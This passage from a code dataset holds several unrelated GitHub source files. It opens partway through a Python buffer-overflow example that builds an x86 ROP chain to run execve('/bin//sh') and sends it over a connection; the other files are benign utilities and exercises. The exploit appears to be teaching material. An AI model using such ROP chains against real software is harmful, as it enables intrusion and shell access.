DATA_ADDR+4), # on l'addr de .data+4\n pack('<I', 0x00000000), # edi a 0\n pack('<I', 0x080af496), # pop eax ; ret\n b'//sh', # //sh dans eax # //sh doit etre en big endian\n pack('<I', 0x0805f78a), # mov dword ptr [edx], eax ; ret # met //sh après /bin dans .data\n\n pack('<I', 0x08098d15), # pop edx ; xor eax, eax ; pop edi ; ret\n pack('<I', DATA_ADDR+8), # et met dans edx l'addresse de .data+8\n pack('<I', 0x00000000), # EDI a 0\n pack('<I', 0x0805f78a), # mov dword ptr [edx], eax # en met des 0 à la fin\n\n pack('<I', 0x08098d15), # pop edx ; xor eax, eax ; pop edi ; ret\n pack('<I', DATA_ADDR+12), # et met dans edx l'addresse de .data+12\n pack('<I', 0x00000000), # EDI a 0\n pack('<I', 0x080af496), # pop eax ; ret\n pack('<I', DATA_ADDR), # eax = DATA_ADDR \n pack('<I', 0x0805f78a), # mov dword ptr [edx], eax # en met DATA_ADDR à la suite de /bin//sh\\0\n\n pack('<I', 0x08098d15), # pop edx ; xor eax, eax ; pop edi ; ret\n pack('<I', DATA_ADDR+16), # et met dans edx l'addresse de .data+16\n pack('<I', 0x00000000), # EDI a 0\n pack('<I', 0x0805f78a), # mov dword ptr [edx], eax # en met des 0 à la fin\n\n pack('<I', 0x0804901e), # pop ebx ; ret\n pack('<I', DATA_ADDR), # on l'addr de .data dans ebx\n\n pack('<I', 0x08063fb1), # pop ecx ; add al, 0xf6 ; ret\n pack('<I', DATA_ADDR+12), # ecx à DATA_ADDR+12 -> DATA_ADDR\n\n pack('<I', 0x08098d15), # pop edx ; xor eax, eax ; pop edi ; ret\n pack('<I', 0x00000000), # edx à 0\n pack('<I', 0x00000000), # edi à 0\n\n pack('<I', 0x080af496), # pop eax ; ret\n pack('<I', 0x0b), # eax a 11\n\n pack('<I', 0x08079f8f) # nop ; int 0x80\n ])\n conn.send(p)\n conn.recvline()\n conn.close()\n\ndef main():\n local_shell()\n \nif __name__ == '__main__':\n main()\n","repo_name":"gaspard-v/bufferoverflows-exemple","sub_path":"exploits/exemple_build/release/x86/exec-local-shell.py","file_name":"exec-local-shell.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72192370348","text":"# reading the whole file in as a list of rows\n\ncolor_count = {}\n\nwith open(\"all-favorite-colors.txt\") as favortite_colors_file:\n favorite_colors = favortite_colors_file.read().splitlines()\n\nfor color in favorite_colors:\n if color in color_count:\n color_count[color] += 1\n else:\n color_count[color] = 1\n\n\n# Updating the code to rad one line from the file at a time\n\ncolor_count = {}\n\nwith open(\"all-favorite-colors.txt\") as favortite_colors_file:\n for color in favortite_colors_file:\n color = color.strip()\n\n if color in color_count:\n color_count[color] += 1\n else:\n color_count[color] = 1\n\n# Using Pythons's features to minimize space\nall_colors = set()\n\nwith open('all-favorite-colors.txt') as favorite_colors_file:\n for line in favorite_colors_file:\n all_colors.add(line.strip())\n\nprint('Amber Waves of Grain' in all_colors)\n","repo_name":"decorouz/practices-of-the-python-pro","sub_path":"chapter04/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69861132588","text":"from sys import*\nfrom collections import*\ninput = stdin.readline\ndef solve():\n while q:\n f = 1\n x, y, d = q.popleft()\n visit[x][y]=1\n for i in range(4):\n d = (d + 3) % 4\n dx, dy = dd[d]\n nx, ny = x + dx, y + dy\n if a[nx][ny] or visit[nx][ny]: continue\n q.append((nx, ny, d))\n f = 0\n break\n if f: # 4방향 청소 못했으면\n nx, ny = x - dx, y - dy\n if a[nx][ny]: #끝\n res=0\n for i in range(n):\n res+=visit[i].count(1)\n return res\n q.append((nx, ny, d)) #방향 유지해줘야 하는데 (d+2)%4 해줬다가 무한루프 돌았었음\ndd=[(-1,0),(0,1),(1,0),(0,-1)] #URDL\nn,m=map(int,input().split())\nr,c,d = map(int,input().split())\na=[list(map(int,input().split()))for _ in range(n)]\nq=deque()\nq.append((r,c,d))\nvisit=[[0]*m for _ in range(n)]\nprint(solve())\n","repo_name":"alb7979s/boj","sub_path":"삼성기출/14503_로봇청소기.py","file_name":"14503_로봇청소기.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8354290777","text":"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom datetime import datetime\nfrom subprocess import check_output, CalledProcessError\n\nfrom setuptools import setup, find_packages\nfrom warnings import warn\n\n\ndef version():\n date_string = datetime.now().strftime(\"1.%Y%m%d.%H%M%S\")\n try:\n git_sha = check_output([\"git\", \"describe\", \"--always\", \"--dirty=dirty\", \"--match=NOTHING\"]).strip().decode()\n return \"{}+{}\".format(date_string, git_sha)\n except CalledProcessError as e:\n warn(\"Error calling git: {}\".format(e))\n return date_string\n\n\nGEN_REQ = [\n \"Flask==1.1.1\",\n \"flask-talisman==0.7.0\",\n \"flask-bootstrap==3.3.7.1\",\n \"pyyaml>=5.4\",\n \"requests==2.22.0\",\n \"six==1.12.0\",\n \"ipaddress==1.0.22\",\n \"k8s==0.21.0\",\n \"prometheus_client == 0.7.1\",\n]\n\nCODE_QUALITY_REQ = [\n \"prospector==1.7.7\",\n]\n\nCI_REQ = [\n \"tox==3.13.2\",\n \"tox-travis==0.12\",\n]\n\nTEST_REQ = [\n 'mock==3.0.5',\n 'pytest-sugar==0.9.2',\n 'pytest==3.10.1',\n \"pytest-cov==2.7.1\",\n \"pytest-html==1.22.0\",\n]\n\nsetup(\n name=\"fiaas-mast\",\n url=\"https://github.com/fiaas/mast\",\n maintainer=\"fiaas\",\n maintainer_email=\"fiaas@googlegroups.com\",\n version=version(),\n packages=find_packages(),\n include_package_data=True,\n install_requires=GEN_REQ,\n extras_require={\n \"dev\": ['yapf==0.16.1'] + TEST_REQ + CODE_QUALITY_REQ + CI_REQ,\n \"ci\": CI_REQ,\n \"codacy\": [\"codacy-coverage\"]\n },\n setup_requires=['setuptools>=17.1', 'pytest-runner', 'wheel'],\n entry_points={\"console_scripts\": ['fiaas-mast=fiaas_mast.__main__:main']},\n)\n","repo_name":"fiaas/mast","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"22010046349","text":"#!/usr/bin/env python\n\n\nimport rospy\nimport numpy as np\nimport tf\nfrom tf.transformations import *\nimport threading\nfrom header import Queue\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import PoseStamped, PoseWithCovarianceStamped\nfrom hdl_localization.msg import ScanMatchingStatus, HDL_TF\n\n\n# Param\n\nhdl_topic = rospy.get_param(\n param_name=\"/hdl_tf_node/hdl_topic\", default=\"hdl_tf\")\nmatching_err_tol = float(rospy.get_param(\n param_name=\"/hdl_tf_node/matching_err_tol\", default=0.05))\ninlier_fraction_tol = float(rospy.get_param(\n param_name=\"/hdl_tf_node/inlier_fraction_tol\", default=0.95))\n\n\nhz = 100\n\n\nclass LowPassFilter:\n def __init__(self, cutoff_freq, ts):\n self.ts = ts\n self.cutoff_freq = cutoff_freq\n self.pre_out = 0.\n self.tau = self.calc_filter_coef()\n\n def calc_filter_coef(self):\n w_cut = 2 * np.pi * self.cutoff_freq\n return 1 / w_cut\n\n def filter(self, data):\n out = (self.tau * self.pre_out + self.ts * data) / (self.tau + self.ts)\n self.pre_out = out\n return out\n\n\nclass AverageFilter:\n def __init__(self):\n self.n = 0\n self.prev = 0.0\n\n def filter(self, data):\n self.n += 1\n alpha = (self.n - 1) / (self.n + 0.0)\n ave = alpha * self.prev + (1 - alpha) * data\n self.prev = ave\n return ave\n\n\nclass DataQueue(Queue):\n def __init__(self, length=10, init=True):\n super(DataQueue, self).__init__(length, init)\n self.__array = [init for i in range(length)]\n\n def inputValue(self, value):\n self.__array.append(value)\n del self.__array[0]\n\n def getAverage(self):\n return np.mean(np.array(self.__array))\n\n\nclass HDL_tf(object):\n def __init__(self):\n self.hdl_tf_sub = rospy.Subscriber(\n \"/hdl_tf\", HDL_TF, callback=self.tfCallback)\n self.status_sub = rospy.Subscriber(\n \"/status\", ScanMatchingStatus, callback=self.statusCallback)\n self.odom_sub = rospy.Subscriber(\n \"/odometry/global\", Odometry, callback=self.odomCallback\n )\n\n self.q_x = DataQueue(init=0., length=10)\n self.q_y = DataQueue(init=0., length=10)\n self.q_z = DataQueue(init=0., length=10)\n self.q_yaw = DataQueue(init=0., length=10)\n\n self.init_pub = rospy.Publisher(\n \"/initialpose\", PoseWithCovarianceStamped, queue_size=1)\n\n self.tf_broadcaster = tf.TransformBroadcaster()\n self.tf_listener = tf.TransformListener()\n\n self.odom = Odometry()\n\n self.matching_err_queue = Queue(length=10, init=False)\n\n self.matching_error = float(\"inf\")\n self.inlier_fraction = 0.\n\n self.trans = None\n self.rot = None\n\n # HDL_TF to ros tf\n\n def tfCallback(self, msg):\n assert type(msg) == type(HDL_TF())\n\n x, y, z = self.translationToArray(msg.translation)\n quat = self.rotationToArray(msg.rotation)\n _, _, yaw = euler_from_quaternion(quat)\n\n self.q_x.inputValue(x)\n self.q_y.inputValue(y)\n self.q_z.inputValue(z)\n self.q_yaw.inputValue(yaw)\n\n if self.matching_err_queue.isTrue(threshhold=10):\n self.trans = [self.q_x.getAverage(), self.q_y.getAverage(),\n self.q_z.getAverage()]\n self.rot = quaternion_from_euler(\n 0., 0., self.q_yaw.getAverage())\n\n # Status\n\n def statusCallback(self, msg):\n self.matching_error = msg.matching_error\n self.inlier_fraction = msg.inlier_fraction\n\n self.matching_err_queue.inputValue(\n self.matching_error <= matching_err_tol and self.inlier_fraction >= inlier_fraction_tol)\n\n # Odom\n def odomCallback(self, msg):\n self.odom = msg\n\n # broadcast TF from self.trans and rot\n def broadcastTF(self):\n if self.canTransform():\n self.tf_broadcaster.sendTransform(\n translation=self.trans,\n rotation=self.rot,\n time=rospy.Time.now(),\n child=\"odom\",\n parent=\"map\"\n )\n\n # Utils\n\n def translationToArray(self, trans):\n return [trans.x, trans.y, trans.z]\n\n def rotationToArray(self, rot):\n return [rot.x, rot.y, rot.z, rot.w]\n\n def transformOdometryToPose(self, odometry):\n pose = PoseStamped()\n\n pose.header.frame_id = odometry.header.frame_id\n pose.header.stamp = rospy.Time(0)\n pose.pose = odometry.pose.pose\n\n return pose\n\n def transformPoseToPoseWithCov(self, pose):\n poseCov = PoseWithCovarianceStamped()\n\n poseCov.header = pose.header\n poseCov.pose.pose = pose.pose\n\n return poseCov\n\n def canTransform(self):\n return self.trans is not None and self.rot is not None\n\n\nif __name__ == \"__main__\":\n rospy.init_node(\"hdl_tf_node\")\n\n hdl = HDL_tf()\n\n r = rospy.Rate(hz)\n while not rospy.is_shutdown():\n hdl.broadcastTF()\n r.sleep()\n","repo_name":"7cmdehdrb/ACCA2022-new","sub_path":"map_matching_localization/src/hdl_tf.py","file_name":"hdl_tf.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"40903196625","text":"from kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.properties import StringProperty, NumericProperty\nfrom kivy.uix.label import Label\nfrom kivy.clock import Clock\nfrom kivy.uix.behaviors import ButtonBehavior\nfrom kivy.uix.image import Image\nfrom kivy.metrics import dp\nfrom datetime import datetime\n\nclass ImageButton(ButtonBehavior, Image):\n # Instead of always having a standard button, we can have an image that\n # behaves like a button, which is what this widget is. This is for the\n # 'settings' button\n pass\n\nclass ClockApp(BoxLayout): \n # This class is the root of the app\n\n # Get local time right now in hours and minutes\n current_time = StringProperty(str(datetime.now().strftime('%H:%M')))\n\n seconds_on = False\n day_and_month_on = False\n day_of_week_on = False\n year_on = False\n\n # The date that will be shown on the screen. Initially no date is shown.\n date_label = Label(pos=(0, dp(-60)))\n\n\n # This contains the stopwatch_time in seconds. It is used to get the time in the format 'hh:mm:ss'\n # which will be displayed in the app.\n stopwatch_time = 0\n # This is the variable that will be displayed in the app\n stopwatch_time_displayed = StringProperty('00:00:00.0')\n # True if the time reaches '99:59:59.9'\n stopwatch_time_limit_reached = False\n milliseconds_on = True\n hours = 0\n minutes = 0\n\n\n def __init__(self, **kwargs):\n super(ClockApp, self).__init__(**kwargs)\n # Get the current local time every half a second\n Clock.schedule_interval(self.update_time, 0.5)\n self.ids.clock_screen_id.add_widget(self.date_label)\n\n def update_time(self, *args):\n # This method gets the current time to be displayed on the screen.\n # The seconds may or may not be retrieved, which depends on the value of\n # 'seconds_on' which the user can toggle in the settings.\n\n self.current_time = str(datetime.now().strftime('%H:%M' + (':%S' if self.seconds_on else '')))\n\n def update_screen(self, instance, switch_value, option):\n # Whenever the options relating to the date are toggled, this function will update.\n # Essentially, it uses the date options that are enabled to decided what to display in the main screen.\n # For example, if 'Day of Week' is on, then this will show, otherwise it won't.\n\n if option == 'seconds':\n self.seconds_on = switch_value\n if option == 'day_+_month':\n self.day_and_month_on = switch_value\n if option == 'day_of_week':\n self.day_of_week_on = switch_value\n if option == 'year':\n self.year_on = switch_value\n\n self.date_label.text = datetime.now().strftime(('%a ' if self.day_of_week_on else '')\n + ('%d %b ' if self.day_and_month_on else '')\n + ('%Y' if self.year_on else '')).strip()\n\n def start_stopwatch(self, instance):\n # Start the clock to update the stopwatch every 0.1 seconds\n\n Clock.schedule_interval(self.update_stopwatch, 0.1)\n self.ids.start_button.disabled = True\n self.ids.stop_button.disabled = False\n\n def stop_stopwatch(self, instance):\n # Stop the clock to stop the stopwatch\n\n Clock.unschedule(self.update_stopwatch)\n self.ids.start_button.disabled = False\n self.ids.stop_button.disabled = True\n\n def reset_stopwatch(self, instance):\n # Reset stopwatch to 0\n\n\n self.stopwatch_time = 0\n self.stopwatch_time_displayed = '00:00:00.0'\n\n # When the reset button is pressed, enable the 'start' button if the stopwatch\n # has reached the limit.\n if self.stopwatch_time_limit_reached:\n self.ids.start_button.disabled = False\n self.stopwatch_time_limit_reached = False\n\n def update_stopwatch(self, *args):\n # This method is called every 0.1 seconds, so add 0.1 to stopwatch_time\n # every time this method is called\n\n\n # Stop the stopwatch when the time reaches '99:59:59.9'\n if self.stopwatch_time < 359999.8:\n self.stopwatch_time += 0.1\n\n # Get the number of minutes and hours\n # Truncate the time to 1 decimal place.\n self.minutes = int(self.stopwatch_time) // 60\n self.hours = int(self.minutes) // 60\n # Ensure that the time displayed is always in the format 'hh:mm:ss.ms'\n self.stopwatch_time_displayed = ('0' if self.hours < 10 else '') + str(self.hours) + ':' + ('0' if self.minutes % 60 < 10 else '') + str(self.minutes % 60) + ':' + ('0' if self.stopwatch_time % 60 < 10 else '') + (str(float('%.1f'%(self.stopwatch_time % 60))) if self.milliseconds_on else str(int(self.stopwatch_time % 60)))\n # If the stopwatch reached '99:59:59.9'\n else:\n # Stop the clock schedule\n Clock.unschedule(self.update_stopwatch)\n self.ids.stop_button.disabled = True\n self.stopwatch_time_limit_reached = True\n\n def toggle_milliseconds(self, instance, switch_active):\n # Called when the 'Milliseconds' option is toggled\n # The milliseconds on the stopwatch will be displayed if this option is True\n\n self.milliseconds_on = switch_active\n # Ensure that the 'millisecond on/off update' happens even when the stopwatch is paused or has not started.\n self.stopwatch_time_displayed = ('0' if self.hours < 10 else '') + str(self.hours) + ':' + ('0' if self.minutes % 60 < 10 else '') + str(self.minutes % 60) + ':' + ('0' if self.stopwatch_time % 60 < 10 else '') + (str(float('%.1f'%(self.stopwatch_time % 60))) if self.milliseconds_on else str(int(self.stopwatch_time % 60)))\n\nclass Main(App):\n def build(self):\n return ClockApp()\n\nif __name__ == '__main__':\n Main().run()","repo_name":"SA9102/Clock-App","sub_path":"project/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31970193675","text":"from typing import Optional\n\nfrom pyids.data_structures.ids_ruleset import IDSRuleSet\nfrom pyids.data_structures.ids_cacher import IDSCacher\n\n\ndef init_overlap_cacher(cacher: Optional[IDSCacher], all_rules: IDSRuleSet, quant_dataframe) -> IDSCacher:\n if cacher is None:\n cacher_to_use = IDSCacher()\n cacher_to_use.calculate_overlap(all_rules, quant_dataframe)\n else:\n cacher_to_use = cacher\n return cacher_to_use\n","repo_name":"joschout/Multi-Directional-Rule-Set-Learning","sub_path":"mdrsl/rule_models/ids/ids_overlap_cacher.py","file_name":"ids_overlap_cacher.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"71102295149","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport pandas as pd\nimport argparse\nimport json\n\ndef mqc_qiimealpha(alphatable):\n alpha = pd.read_csv(alphatable, sep=\"\\t\", index_col=0)\n alpha_json = alpha.to_json(orient = \"index\")\n alpha_parsed = json.loads(alpha_json)\n\n description = \"The following bargraph provides the alpha diversity Shannon index calculated by QIIME for every sample\"\n\n alpha_mqc = {\n 'id' : 'individ_alpha_barchart',\n 'section_name' : 'Shannon Alpha Diversity',\n 'description': description,\n 'plot_type' : 'bargraph',\n 'pconfig' : {\n 'id' : 'alpha_diversity_barplot',\n 'title' : 'Shannon Alpha Diversity Scores',\n 'ylab': 'Shannon Index',\n 'yDecimals': 'true',\n 'tt_decimals': 2\n },\n 'categories' : {\n 'shannon_entropy' : {\n 'name' : 'Shannon Alpha Diversity Index',\n 'color': '#3EE4BF'\n }\n }\n }\n\n alpha_mqc['data'] = alpha_parsed\n with open('alphachart_mqc.json', 'w') as ofh:\n json.dump(alpha_mqc, ofh, indent=4)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"\"\"Alpha diversity table generated by qiime\"\"\")\n parser.add_argument(\"-a\", \"--alphadiversity\", dest=\"alphatsv\", type=str, help=\"qiime output alpha diversity measurements\")\n args = parser.parse_args()\n mqc_qiimealpha(args.alphatsv)\n","repo_name":"Zymo-Research/aladdin-shotgun","sub_path":"bin/display_qiimealpha_mqc.py","file_name":"display_qiimealpha_mqc.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19545608136","text":"# Dependencies\n# --------------------------------------\nimport csv\n\n# Files to Load / Output\n# --------------------------------------\nfile_to_load = \"election_data_2.csv\"\nfile_to_output = \"election_analysis_2.txt\"\n\n# Variables to Track\n# --------------------------------------\n# [{\"Khan\": 5}, {\"Li\": 2}, {\"Correy\": 70}]\ncandidate_options = []\ncandidate_votes = {}\nvoting_percent = []\nloop_count = 0\n\nwinning_candidate = \"\"\nwinning_count = 0\n\ntotal_votes = 0\n\ngreatest_vote_candidate = \"\"\ngreatest_vote_percentage = 0\n\n# Main Process \n# --------------------------------------\n# Reading the file\nwith open(file_to_load) as election_data:\n reader = csv.DictReader(election_data)\n\n # For Each row...\n for row in reader:\n\n # Total Votes\n total_votes = total_votes + 1\n\n # Build our Array of Unique Candidates \n if row[\"Candidate\"] not in candidate_options:\n\n # Add the candidate as an option\n candidate_options.append(row[\"Candidate\"])\n\n # Set that candidate's initial vote count to 0\n candidate_votes[row[\"Candidate\"]] = 0\n\n # If the candidate is NOT unique\n candidate_votes[row[\"Candidate\"]] = candidate_votes[row[\"Candidate\"]] + 1\n\n print(\"----------------------\")\n print(\"Election Results\")\n print(\"----------------------\")\n\n \n for key, value in candidate_votes.items():\n\n print(key)\n print(str(value) + \" votes\")\n print(str(int(value) * 100 / total_votes) + \"%\")\n print(\"----------------------\")\n\n \n voting_percent.append(int(value) * 100 / total_votes)\n\n\n # # Iterate through the candidate_votes\n for candidate in candidate_votes:\n\n votes = candidate_votes[candidate]\n vote_percentage = (votes / total_votes) * 100\n # print(votes)\n # print(total_votes)\n # print(\"-----------------\")\n # print(vote_percentage)\n # print(\"-----------------\")\n\n if(vote_percentage > greatest_vote_percentage):\n\n greatest_vote_candidate = candidate\n greatest_vote_percentage = vote_percentage\n\n # # Printing Election Results/The Winner\n # print(\"Election results \")\n # print(\"----------------------\")\n # print(\"Total votes: \" + str(total_votes))\n # print(\"----------------------\")\n # print(\"Khan: \")\n # print(\"Li: \")\n # print(\"Correy: \")\n # print(\"O'Tooley: \")\n\n # print(str(vote_percentage) + \" %\")\n print(\"----------------------\")\n print(\"The winning candidate is \" + greatest_vote_candidate)\n print(\"The greatest vote percentage is: \" + str(greatest_vote_percentage) + \"%\")\n print(\"----------------------\")\n \n\n# Write Output\n with open(file_to_output, \"w\") as txt_file:\n \n txt_file.write(\"Election results\" + \"\\n\")\n txt_file.write(\"--------------------\" + \"\\n\")\n txt_file.write(\"Total votes: \" + str(total_votes) + \"\\n\") \n \n \n \n for key, value in candidate_votes.items():\n \n \n \n txt_file.write(\"--------------------\" + \"\\n\") \n txt_file.write(key + \"\\n\")\n txt_file.write(str(value) + \" votes\" + \"\\n\")\n txt_file.write(str(voting_percent[loop_count]) + \"%\" + \"\\n\")\n loop_count = loop_count+1\n txt_file.write(\"--------------------\" + \"\\n\") \n txt_file.write(\"The winning candidate is \" + greatest_vote_candidate + \"\\n\")\n txt_file.write(\"The greatest vote percentage is: \" + str(greatest_vote_percentage) + \"%\" + \"\\n\")","repo_name":"eschwartzman1/python-challenge","sub_path":"PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34196757631","text":"# 1. Make a program which takes user input and display either user input is leap year or not.\n# # User input must be 4 digit integer\n# # example: 2020 is leap year, 2021 is not\n# Note: Program should ask for user input till user input is incorrect\n\n\nuserInput=\"correct\"\nwhile userInput==\"correct\":\n print(\"---------------------------------------------\")\n try:\n print(\"enter 4 digit year only\")\n year=int(input(\"enter a year: \"))\n if year%4==0:\n if year%100==0:\n if year%400==0:\n print(f\"{year} is a leap year\")\n else:\n print(f\"{year} is not a leap year\")\n else:\n print(f\"{year} is a leap year\")\n else:\n print(f\"{year} is not a leap year\")\n except ValueError:\n userInput=\"incorrect\"\n print(\"invaid input. Input must be integer\")","repo_name":"Aamecstha/pythonClass","sub_path":"Tasks/task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40810628346","text":"#!/usr/bin/env python\r\n\r\nimport grass.script as grass #auto\r\nimport os #fuer import\r\nimport subprocess\r\ndef main():\r\n grass.run_command('g.region', flags='p') #auto\r\n\r\n\r\n\r\n#load input data\r\n\r\n #sets basepath\r\n\r\n input_path = \"C:/Users/jocho/Desktop/opengis/project/data/in\"\r\n\r\n\r\n #Infrastrukturdaten Overpass\r\n\r\n\r\n #bus\r\n\r\n path_bus_stop=os.path.join(input_path, 'bus', 'bus_stop.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_bus_stop, output='busstop', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n path_bus_route=os.path.join(input_path, 'bus', 'bus_route.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_bus_route, output='busroute', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n #train\r\n\r\n path_train_stop=os.path.join(input_path, 'train', 'train_stops.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_train_stop, output='trainstop', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n path_train_route=os.path.join(input_path, 'train', 'train_route.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_train_route, output='trainroute', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n #tram\r\n\r\n path_tram_stop=os.path.join(input_path, 'tram', 'tram_stops.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_tram_stop, output='tramstop', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n path_tram_route=os.path.join(input_path, 'tram', 'tram_route.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_tram_route, output='tramroute', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n #streets\r\n\r\n path_streets=os.path.join(input_path, 'streets', 'streets.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_streets, output='streets', overwrite=True, cnames=True)\r\n\r\n\r\n\r\n #central point\r\n\r\n path_central_point=os.path.join(input_path, 'central_point', 'central_point.shp')\r\n\r\n grass.run_command('v.in.ogr', input=path_central_point, output='central_point', overwrite=True, cnames=True)\r\n\r\n\r\n#Fehlerbereinigung\r\n\r\n\r\n#central point to stops\r\n\r\n grass.run_command('v.patch', input=['central_point','tramstop'], output='c_tramstop', overwrite=True)\r\n\r\n grass.run_command('v.patch', input=['central_point','busstop'], output='c_busstop', overwrite=True)\r\n\r\n\r\n\r\n\r\n\r\n#cleaning vectors\r\n\r\n grass.run_command('v.clean', input='tramroute', output='tramroute2', tool=['snap','break','rmdupl','rmdangle'],overwrite=True, threshold=[30,0,0,30])\r\n\r\n grass.run_command('v.clean', input='busroute', output='busroute2', tool=['break','rmdupl','rmdangle'],overwrite=True, threshold=[0,0,500])\r\n\r\n grass.run_command('v.clean', input='streets', output='streets2', tool=['break','rmdupl','rmdangle'],overwrite=True, threshold=[0,0,30])\r\n\r\n\r\n\r\n#conntecting central point to buslines\r\n\r\n grass.run_command('v.net', input='busroute2', points='c_busstop', output='busnet', operation='connect', threshold = 20, overwrite=True, alayer=1,nlayer=2)\r\n\r\n\r\n\r\n#conntecting central point to tramlines\r\n\r\n grass.run_command('v.net', input='tramroute2', points='c_tramstop', output='tramnet', operation='connect', threshold = 20, overwrite=True,alayer=1,nlayer=2)\r\n\r\n\r\n#Netzwerkanalyse\r\n \r\n\r\n#network analysis of from central point along the bus lines\r\n\r\n grass.run_command('v.net.iso', input='busnet', output='iso_bus2',center_cats=[1], costs=[1000,2000,3000,4000,5000,6000,7000,8000,9000,10000], overwrite=True, nlayer=2)\r\n\r\n#network analysis of from central point along the tram lines\r\n\r\n grass.run_command('v.net.iso', input='tramnet', output='iso_tram',center_cats=[1], costs=[1000,2000,3000,4000,5000,6000,7000,8000,9000,10000], overwrite=True, nlayer=2)\r\n\r\n\r\n\r\n#creating table with category numbers\r\n\r\n grass.run_command('v.db.addtable', map='iso_tram',overwrite=True)\r\n\r\n grass.run_command('v.db.addtable', map='iso_bus2',overwrite=True)\r\n\r\n\r\n\r\n#adding column\r\n\r\n grass.run_command('v.db.addcolumn', map='tramstop', columns='first_tram_distance integer',overwrite=True)\r\n\r\n#connecting network with stations to keep catnum\r\n\r\n grass.run_command('v.distance',from_='tramstop', to='iso_tram', upload='cat',column='first_tram_distance', overwrite=True)\r\n\r\n\r\n\r\n#connecting tramstops to streets\r\n\r\n grass.run_command('v.net', input='streets2', points='tramstop', output='streets_tram', operation='connect', threshold = 20, overwrite=True, alayer=1,nlayer=2)\r\n\r\n y=[]\r\n\r\n x=[] #this part creates a list x of ints from 1-999 as an input for center_cats -> all stops are center_cats\r\n\r\n for i in range(1,999): #and y as input for costs for walking in 100 meter distances\r\n\r\n x.append(i)\r\n\r\n y.append(i*100)\r\n\r\n grass.run_command('v.net.iso', input='streets_tram', output='iso_streets_tram',center_cats=x, costs=y, overwrite=True, nlayer=2)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__': #auto\r\n main() #auto\r\n","repo_name":"ElJocho/project","sub_path":"script_Ausarbeitung.py","file_name":"script_Ausarbeitung.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36521923685","text":"# This is a sample Python script.\n\n# Press ⌃R to execute it or replace it with your code.\n# Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.\n\nimport numpy as np\n\nfrom typing import List\n\n\ndef multi_sum_np(n: int):\n input_list = []\n max_length = 0\n for i in range(n):\n inp = input().split(\" \")\n input_list.append(inp)\n if max_length < len(inp):\n max_length = len(inp)\n\n for i in range(n):\n delta = max_length - len(input_list[i])\n if delta > 0:\n # todo should work, but it don't\n # np.pad(input_list[i], (0, 1))\n for j in range(delta):\n input_list[i].append(\"0\")\n\n output_list = []\n np_array = np.array(input_list)\n\n for j in np.rot90(np_array):\n output_list.insert(0, np.sum(np.array(j).astype(np.int64)))\n\n print(output_list)\n\n\ndef generate_matrix(n: int):\n matrix = np.zeros((n, n))\n np.fill_diagonal(matrix, 1)\n print(matrix)\n\n\ndef transpose_matrix(n: int, m: int):\n matrix = np.round(np.random.rand(n, m) * 10)\n print(matrix)\n print(np.transpose(matrix))\n\n\ndef word_counter(input_list: List[str], word: str):\n counter = dict()\n for word in input_list:\n if word in counter:\n counter[word] = counter[word] + 1\n else:\n counter[word] = 1\n\n print(counter[word])\n\n\n# multi_sum_np(2)\n# generate_matrix(4)\n# transpose_matrix(2, 3)\n# word_counter([\"chibick\", \"lol\", \"kek\", \"lol\"], \"lol\")\n\ndef unique_numbers(input_list: List[int]):\n print(set(input_list))\n\n\ndef fill_set_and_check_if_exists():\n numbers = set()\n while True:\n prev_size = len(numbers)\n numbers.add(input())\n current_size = len(numbers)\n if prev_size == current_size:\n print(\"Already exists\")\n else:\n print(\"Successfully added\")\n\n\ndef emails_manager():\n emails = set()\n while True:\n inp = input().split(\"::\")\n if len(inp) != 2:\n print(\"Invalid command\")\n\n if inp[0] == \"add\":\n email = inp[1]\n if email.find(\"@\") >= 0 and email.find(\".\") >= 0:\n emails.add(email)\n print(\"Successfully added\")\n else:\n print(\"Invalid 